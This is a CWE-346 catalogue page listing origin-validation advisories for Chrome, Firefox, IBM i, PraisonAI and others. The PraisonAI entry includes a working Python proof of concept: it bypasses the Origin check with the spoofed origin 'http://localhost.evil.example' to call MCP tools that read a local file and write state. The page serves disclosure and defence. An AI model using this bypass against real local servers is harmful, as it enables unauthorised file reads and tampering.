CWE-346
Allowed-with-ReviewOrigin Validation Error
Abstraction: Class · Status: Draft
The product does not properly verify that the source of data or communication is valid.
945 vulnerabilities reference this CWE, most recent first.
GHSA-W992-VGRP-856G
Vulnerability from github – Published: 2022-04-05 00:00 – Updated: 2022-04-14 00:00AVEVA System Platform versions 2017 through 2020 R2 P01 does not properly verify that the source of data or communication is valid.
{
"affected": [],
"aliases": [
"CVE-2021-32985"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-04T20:15:00Z",
"severity": "HIGH"
},
"details": "AVEVA System Platform versions 2017 through 2020 R2 P01 does not properly verify that the source of data or communication is valid.",
"id": "GHSA-w992-vgrp-856g",
"modified": "2022-04-14T00:00:42Z",
"published": "2022-04-05T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32985"
},
{
"type": "WEB",
"url": "https://www.aveva.com/content/dam/aveva/documents/support/cyber-security-updates/SecurityBulletin_AVEVA-2021-002.pdf"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-180-05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WCCX-FXF3-QG7R
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 21:31Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-10937"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T23:16:56Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-wccx-fxf3-qg7r",
"modified": "2026-06-05T21:31:56Z",
"published": "2026-06-05T00:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10937"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/502651056"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WG2H-WC56-7JCC
Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-05-19 18:32Same-origin policy bypass in the Networking: JAR component. This vulnerability was fixed in Firefox 151.
{
"affected": [],
"aliases": [
"CVE-2026-8971"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T14:16:53Z",
"severity": "MODERATE"
},
"details": "Same-origin policy bypass in the Networking: JAR component. This vulnerability was fixed in Firefox 151.",
"id": "GHSA-wg2h-wc56-7jcc",
"modified": "2026-05-19T18:32:10Z",
"published": "2026-05-19T15:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8971"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2032604"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-46"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-50"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WH44-XV4R-84RV
Vulnerability from github – Published: 2026-08-12 18:31 – Updated: 2026-08-12 18:31IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote unauthenticated attacker to harvest credentials due to spoofing of Navigator for i.
{
"affected": [],
"aliases": [
"CVE-2026-18847"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T17:17:25Z",
"severity": "HIGH"
},
"details": "IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote unauthenticated attacker to harvest credentials due to spoofing of Navigator for i.",
"id": "GHSA-wh44-xv4r-84rv",
"modified": "2026-08-12T18:31:20Z",
"published": "2026-08-12T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18847"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7283292"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJ6G-V78P-6FX3
Vulnerability from github – Published: 2026-08-25 14:26 – Updated: 2026-08-25 14:26Summary
PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.
As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.
When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.
This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.
Details
Relevant source locations:
src/praisonai/praisonai/mcp_server/cli.pysrc/praisonai/praisonai/mcp_server/transports/http_stream.pysrc/praisonai/praisonai/mcp_server/server.pysrc/praisonai/praisonai/mcp_server/adapters/__init__.pysrc/praisonai/praisonai/mcp_server/adapters/extended_capabilities.pysrc/praisonai/praisonai/mcp_server/adapters/cli_tools.pysrc/praisonai/praisonai/capabilities/files.py
The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")
The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:
register_all()
server.run_http_stream(
host=parsed.host,
port=parsed.port,
endpoint=parsed.endpoint,
api_key=parsed.api_key,
cors_origins=cors_origins,
allowed_origins=allowed_origins,
session_ttl=parsed.session_ttl,
allow_client_termination=allow_termination,
response_mode=parsed.response_mode,
resumability_enabled=parsed.resumability,
)
When allowed_origins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:
if allowed_origins is None:
if host in ("127.0.0.1", "localhost", "::1"):
self.allowed_origins = [
"http://localhost",
"http://127.0.0.1",
"https://localhost",
"https://127.0.0.1",
]
The vulnerable validation accepts origins that merely start with an allowlisted value:
for allowed in self.allowed_origins:
if request_origin == allowed or request_origin.startswith(allowed):
return True
Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.
Authentication is only enforced if an API key is configured:
if self.api_key:
auth_header = request.headers.get("Authorization", "")
if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
return JSONResponse(
{"error": "Unauthorized"},
status_code=401,
)
The request body is then parsed and dispatched to the MCP server:
body = await request.json()
response = await self.server.handle_message(body)
The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:
tool_name = params.get("name")
arguments = params.get("arguments", {})
tool = self._tool_registry.get(tool_name)
if asyncio.iscoroutinefunction(tool.handler):
result = await tool.handler(**arguments)
else:
result = tool.handler(**arguments)
register_all() registers capability tools, extended capability tools, CLI tools, resources, and prompts:
def _register_all():
register_all_tools()
register_extended_capability_tools()
register_cli_tools()
register_mcp_resources()
register_mcp_prompts()
One exposed MCP tool is praisonai.files.create, which accepts a local file_path and passes it to file_create():
@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
from praisonai.capabilities import file_create
result = file_create(file=file_path, purpose=purpose)
file_create() opens attacker-selected string paths as local files and passes the file object to LiteLLM:
file_obj = file
if isinstance(file, str):
file_obj = open(file, 'rb')
response = litellm.create_file(**call_kwargs)
Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.
PoC
The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.
Run from the repository root with test dependencies installed:
python3 poc_mcp_origin_bypass.py
poc_mcp_origin_bypass.py:
import json
import os
import sys
import tempfile
import types
from pathlib import Path
from starlette.testclient import TestClient
ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")
def create_file(**kwargs):
f = kwargs["file"]
captured["filename"] = getattr(f, "name", "<bytes>")
captured["content"] = f.read().decode("utf-8")
class Resp:
id = "file-safe-local-poc"
object = "file"
bytes = len(captured["content"])
filename = captured["filename"]
purpose = kwargs.get("purpose")
status = "processed"
return Resp()
fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all
register_all()
server = MCPServer(name="praisonai-local-poc")
# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
server=server,
host="127.0.0.1",
api_key=None,
allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)
with tempfile.TemporaryDirectory() as td:
os.environ["HOME"] = td
marker = Path(td) / "safe-marker.txt"
marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")
file_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "praisonai.files.create",
"arguments": {
"file_path": str(marker),
"purpose": "assistants",
},
},
}
# Non-localhost malicious origin is blocked.
blocked = client.post(
"/mcp",
data=json.dumps(file_payload),
headers={
"Origin": "https://evil.example",
"Content-Type": "text/plain",
},
)
# Prefix-matching bypass: accepted because it starts with http://localhost.
bypass = client.post(
"/mcp",
data=json.dumps(file_payload),
headers={
"Origin": "http://localhost.evil.example",
"Content-Type": "text/plain",
},
)
todo_payload = {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "praisonai.todo.add",
"arguments": {
"content": "SAFE_LOCAL_TODO_MARKER",
"priority": "high",
},
},
}
todo = client.post(
"/mcp",
data=json.dumps(todo_payload),
headers={
"Origin": "http://localhost.evil.example",
"Content-Type": "text/plain",
},
)
todo_file = Path(td) / ".praison" / "todo.json"
print(json.dumps({
"blocked_origin_status": blocked.status_code,
"bypass_origin_status": bypass.status_code,
"bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
"captured_file_basename": Path(captured.get("filename", "")).name,
"captured_file_content": captured.get("content"),
"todo_status": todo.status_code,
"todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
"todo_file_exists": todo_file.exists(),
}, indent=2))
Observed output:
{
"blocked_origin_status": 403,
"bypass_origin_status": 200,
"bypass_response_text": "File created: file-safe-local-poc",
"captured_file_basename": "safe-marker.txt",
"captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
"todo_status": 200,
"todo_response_text": "Todo added: 0440613d",
"todo_file_exists": true
}
The important results are:
Origin: https://evil.exampleis rejected with403.Origin: http://localhost.evil.exampleis accepted with200.- The bypassed request invokes
praisonai.files.createand reads the local safe marker file. - The bypassed request invokes
praisonai.todo.addand writes local PraisonAI state.
Impact
A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.
In local testing, this allowed invoking registered PraisonAI tools that:
- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and
- modify local PraisonAI state by writing to
~/.praison/todo.json.
The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55529"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T14:26:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nPraisonAI\u0027s MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.\n\nAs a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.\n\nWhen the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.\n\nThis is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.\n\n### Details\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/mcp_server/cli.py`\n- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`\n- `src/praisonai/praisonai/mcp_server/server.py`\n- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`\n- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`\n- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`\n- `src/praisonai/praisonai/capabilities/files.py`\n\nThe MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:\n\n```python\nparser.add_argument(\"--host\", default=\"127.0.0.1\")\nparser.add_argument(\"--port\", type=int, default=8080)\nparser.add_argument(\"--api-key\", default=None)\nparser.add_argument(\"--allowed-origins\", default=None, help=\"Comma-separated allowed origins for security\")\n```\n\nThe CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:\n\n```python\nregister_all()\n\nserver.run_http_stream(\n host=parsed.host,\n port=parsed.port,\n endpoint=parsed.endpoint,\n api_key=parsed.api_key,\n cors_origins=cors_origins,\n allowed_origins=allowed_origins,\n session_ttl=parsed.session_ttl,\n allow_client_termination=allow_termination,\n response_mode=parsed.response_mode,\n resumability_enabled=parsed.resumability,\n)\n```\n\nWhen `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:\n\n```python\nif allowed_origins is None:\n if host in (\"127.0.0.1\", \"localhost\", \"::1\"):\n self.allowed_origins = [\n \"http://localhost\",\n \"http://127.0.0.1\",\n \"https://localhost\",\n \"https://127.0.0.1\",\n ]\n```\n\nThe vulnerable validation accepts origins that merely start with an allowlisted value:\n\n```python\nfor allowed in self.allowed_origins:\n if request_origin == allowed or request_origin.startswith(allowed):\n return True\n```\n\nBecause `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.\n\nAuthentication is only enforced if an API key is configured:\n\n```python\nif self.api_key:\n auth_header = request.headers.get(\"Authorization\", \"\")\n if not auth_header.startswith(\"Bearer \") or auth_header[7:] != self.api_key:\n return JSONResponse(\n {\"error\": \"Unauthorized\"},\n status_code=401,\n )\n```\n\nThe request body is then parsed and dispatched to the MCP server:\n\n```python\nbody = await request.json()\nresponse = await self.server.handle_message(body)\n```\n\nThe MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:\n\n```python\ntool_name = params.get(\"name\")\narguments = params.get(\"arguments\", {})\n\ntool = self._tool_registry.get(tool_name)\n\nif asyncio.iscoroutinefunction(tool.handler):\n result = await tool.handler(**arguments)\nelse:\n result = tool.handler(**arguments)\n```\n\n`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:\n\n```python\ndef _register_all():\n register_all_tools()\n register_extended_capability_tools()\n register_cli_tools()\n register_mcp_resources()\n register_mcp_prompts()\n```\n\nOne exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:\n\n```python\n@register_tool(\"praisonai.files.create\")\ndef files_create(file_path: str, purpose: str = \"assistants\") -\u003e str:\n from praisonai.capabilities import file_create\n result = file_create(file=file_path, purpose=purpose)\n```\n\n`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:\n\n```python\nfile_obj = file\nif isinstance(file, str):\n file_obj = open(file, \u0027rb\u0027)\n\nresponse = litellm.create_file(**call_kwargs)\n```\n\nAnother exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.\n\n### PoC\n\nThe following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_mcp_origin_bypass.py\n```\n\n`poc_mcp_origin_bypass.py`:\n\n```python\nimport json\nimport os\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Fake litellm so the PoC proves local file read without network exfiltration.\ncaptured = {}\nfake_litellm = types.ModuleType(\"litellm\")\n\ndef create_file(**kwargs):\n f = kwargs[\"file\"]\n captured[\"filename\"] = getattr(f, \"name\", \"\u003cbytes\u003e\")\n captured[\"content\"] = f.read().decode(\"utf-8\")\n\n class Resp:\n id = \"file-safe-local-poc\"\n object = \"file\"\n bytes = len(captured[\"content\"])\n filename = captured[\"filename\"]\n purpose = kwargs.get(\"purpose\")\n status = \"processed\"\n\n return Resp()\n\nfake_litellm.create_file = create_file\nsys.modules[\"litellm\"] = fake_litellm\n\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.transports.http_stream import HTTPStreamTransport\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer(name=\"praisonai-local-poc\")\n\n# Default vulnerable configuration: localhost host, no API key, default allowed origins.\ntransport = HTTPStreamTransport(\n server=server,\n host=\"127.0.0.1\",\n api_key=None,\n allowed_origins=None,\n)\napp = transport._create_app()\nclient = TestClient(app)\n\nwith tempfile.TemporaryDirectory() as td:\n os.environ[\"HOME\"] = td\n\n marker = Path(td) / \"safe-marker.txt\"\n marker.write_text(\"SAFE_LOCAL_MARKER_MCP_FILE_READ\")\n\n file_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"praisonai.files.create\",\n \"arguments\": {\n \"file_path\": str(marker),\n \"purpose\": \"assistants\",\n },\n },\n }\n\n # Non-localhost malicious origin is blocked.\n blocked = client.post(\n \"/mcp\",\n data=json.dumps(file_payload),\n headers={\n \"Origin\": \"https://evil.example\",\n \"Content-Type\": \"text/plain\",\n },\n )\n\n # Prefix-matching bypass: accepted because it starts with http://localhost.\n bypass = client.post(\n \"/mcp\",\n data=json.dumps(file_payload),\n headers={\n \"Origin\": \"http://localhost.evil.example\",\n \"Content-Type\": \"text/plain\",\n },\n )\n\n todo_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"praisonai.todo.add\",\n \"arguments\": {\n \"content\": \"SAFE_LOCAL_TODO_MARKER\",\n \"priority\": \"high\",\n },\n },\n }\n\n todo = client.post(\n \"/mcp\",\n data=json.dumps(todo_payload),\n headers={\n \"Origin\": \"http://localhost.evil.example\",\n \"Content-Type\": \"text/plain\",\n },\n )\n\n todo_file = Path(td) / \".praison\" / \"todo.json\"\n\n print(json.dumps({\n \"blocked_origin_status\": blocked.status_code,\n \"bypass_origin_status\": bypass.status_code,\n \"bypass_response_text\": bypass.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n \"captured_file_basename\": Path(captured.get(\"filename\", \"\")).name,\n \"captured_file_content\": captured.get(\"content\"),\n \"todo_status\": todo.status_code,\n \"todo_response_text\": todo.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n \"todo_file_exists\": todo_file.exists(),\n }, indent=2))\n```\n\nObserved output:\n\n```json\n{\n \"blocked_origin_status\": 403,\n \"bypass_origin_status\": 200,\n \"bypass_response_text\": \"File created: file-safe-local-poc\",\n \"captured_file_basename\": \"safe-marker.txt\",\n \"captured_file_content\": \"SAFE_LOCAL_MARKER_MCP_FILE_READ\",\n \"todo_status\": 200,\n \"todo_response_text\": \"Todo added: 0440613d\",\n \"todo_file_exists\": true\n}\n```\n\nThe important results are:\n\n- `Origin: https://evil.example` is rejected with `403`.\n- `Origin: http://localhost.evil.example` is accepted with `200`.\n- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.\n- The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.\n\n### Impact\n\nA malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.\n\nIn local testing, this allowed invoking registered PraisonAI tools that:\n\n- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and\n- modify local PraisonAI state by writing to `~/.praison/todo.json`.\n\nThe default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.",
"id": "GHSA-wj6g-v78p-6fx3",
"modified": "2026-08-25T14:26:26Z",
"published": "2026-08-25T14:26:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server"
}
GHSA-WM9R-82QW-CFP5
Vulnerability from github – Published: 2026-07-30 03:31 – Updated: 2026-07-30 21:31Insufficient policy enforcement in Prefetch in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-17662"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T01:16:28Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Prefetch in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-wm9r-82qw-cfp5",
"modified": "2026-07-30T21:31:32Z",
"published": "2026-07-30T03:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17662"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0887107924.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/497491557"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WRR5-XWCP-MRF2
Vulnerability from github – Published: 2024-11-15 18:30 – Updated: 2024-11-20 15:30lilishop <=4.2.4 is vulnerable to Incorrect Access Control, which can allow attackers to obtain coupons beyond the quantity limit by capturing and sending the data packets for coupon collection in high concurrency.
{
"affected": [],
"aliases": [
"CVE-2024-50654"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-15T17:15:20Z",
"severity": "HIGH"
},
"details": "lilishop \u003c=4.2.4 is vulnerable to Incorrect Access Control, which can allow attackers to obtain coupons beyond the quantity limit by capturing and sending the data packets for coupon collection in high concurrency.",
"id": "GHSA-wrr5-xwcp-mrf2",
"modified": "2024-11-20T15:30:50Z",
"published": "2024-11-15T18:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50654"
},
{
"type": "WEB",
"url": "https://github.com/Yllxx03/CVE/blob/main/lilishop/CouponLogicVulnerability.md"
},
{
"type": "WEB",
"url": "https://github.com/Yllxx03/CVE/tree/main/CVE-2024-50654"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WVWR-3HFJ-VC2V
Vulnerability from github – Published: 2026-07-30 03:31 – Updated: 2026-07-30 15:31Inappropriate implementation in Passwords in Google Chrome prior to 151.0.7922.72 allowed a remote attacker who convinced a user to engage in specific UI gestures to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-17871"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T01:16:51Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Passwords in Google Chrome prior to 151.0.7922.72 allowed a remote attacker who convinced a user to engage in specific UI gestures to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-wvwr-3hfj-vc2v",
"modified": "2026-07-30T15:31:43Z",
"published": "2026-07-30T03:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17871"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0887107924.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/521938924"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WW75-9MPC-WVR2
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 18:31Inappropriate implementation in NFC in Google Chrome on Android prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-13887"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:02Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in NFC in Google Chrome on Android prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-ww75-9mpc-wvr2",
"modified": "2026-07-01T18:31:31Z",
"published": "2026-07-01T00:34:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13887"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/500508524"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WWFF-QQFJ-CV2G
Vulnerability from github – Published: 2023-10-23 15:30 – Updated: 2024-04-04 08:53Origin Validation Error vulnerability in Zscaler Client Connector on Linux allows Inclusion of Code in Existing Process. This issue affects Zscaler Client Connector for Linux: before 1.3.1.6.
{
"affected": [],
"aliases": [
"CVE-2023-28795"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-23T14:15:09Z",
"severity": "HIGH"
},
"details": "Origin Validation Error vulnerability in Zscaler Client Connector on Linux allows Inclusion of Code in Existing Process. This issue affects Zscaler Client Connector for Linux: before 1.3.1.6.\n\n\n\n",
"id": "GHSA-wwff-qqfj-cv2g",
"modified": "2024-04-04T08:53:03Z",
"published": "2023-10-23T15:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28795"
},
{
"type": "WEB",
"url": "https://help.zscaler.com/client-connector/client-connector-app-release-summary-2022?applicable_category=Linux\u0026applicable_version=1.3.1\u0026deployment_date=2022-09-19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
